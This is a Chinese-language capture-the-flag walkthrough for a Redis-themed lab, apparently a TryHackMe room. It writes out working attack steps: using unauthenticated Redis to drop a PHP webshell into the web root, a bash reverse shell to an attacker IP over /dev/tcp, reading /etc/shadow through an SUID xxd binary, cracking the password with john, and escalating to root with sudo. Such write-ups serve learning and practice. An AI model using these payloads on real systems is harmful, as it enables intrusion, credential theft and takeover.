端口扫描

开放了http服务,但是扫不出任何东西。还有一个数据库,说实话这个redis数据库不是特别了解

上WP。。。

Getshell

下载一个redis-cl,是redis的命令行管理工具

sudo apt-get install redis-tools
redis-cli -h ip

进行连接

info可以查看一些信息

稍微学了一点redis的东西

我们首先将redis的工作目录设置在apache的html(nmap扫描结果可以得知是一个apache服务器)

config set dir /var/www/html
config set dbfilename shell.php

设置一个名叫shell.php的持久化文件,持久化应该是redis数据库的一个特性,这块知识之后再去补

set test "<?php system($_GET['cmd']); ?>"

设置一个键值对,键名为test,内容我们简易地先设为一句话木马测试一下

最后输入save将数据保存在持久化文件中

然后我们在浏览器中访问/shell.php,用cmd参数传一些命令上去看看

发现是成功的,既然这样。我们可以整一个PHP的一句话反向shell上去

我们覆盖前面test的值

set test "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/10.11.38.245/1234 0>&1'\"); ?>"

这里记得转移双引号,不然会显示无效

save

然后在kali中开启监听

浏览器中访问shell.php

成功连接shell

python3 -c "import pty;pty.spawn('/bin/bash')"

建立更好的shell(ubuntu中好像默认装python ?)

在vianka的家目录中找到user.txt

thm{red1s_rce_w1thout_credent1als}

之后要找本地用户的密码,我们看到家目录还有一个redis的目录,进去看看。试着在配置文件中找到密码有可能有密码复用,但是也找不太到

先简单查看一下sudo -l 但是我们们没密码也查看不了,计划任务也没什么

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

查找一下有没有SUID或者SGID

找到一个XXD,可以查看任意文件

LFILE=/etc/shadow
xxd "$LFILE" | xxd -r

那么我们就可以查看shadow来得到vianka的密码

复制vianka的hash,用john直接爆破出密码为beautiful1

既然这样。我们可以切换到vianka用户,用su

提权

sudo -l ,抽象的是我们有全部权限。

sudo /bin/bash提权成功

root.txt

thm{xxd_pr1v_escalat1on}

碎碎念

开始了解redis数据库,记得在今年闽盾决赛就碰到了这个数据库,可惜当时还不会,现在多少了解一些,除此之外这个房间也挺常规的罢。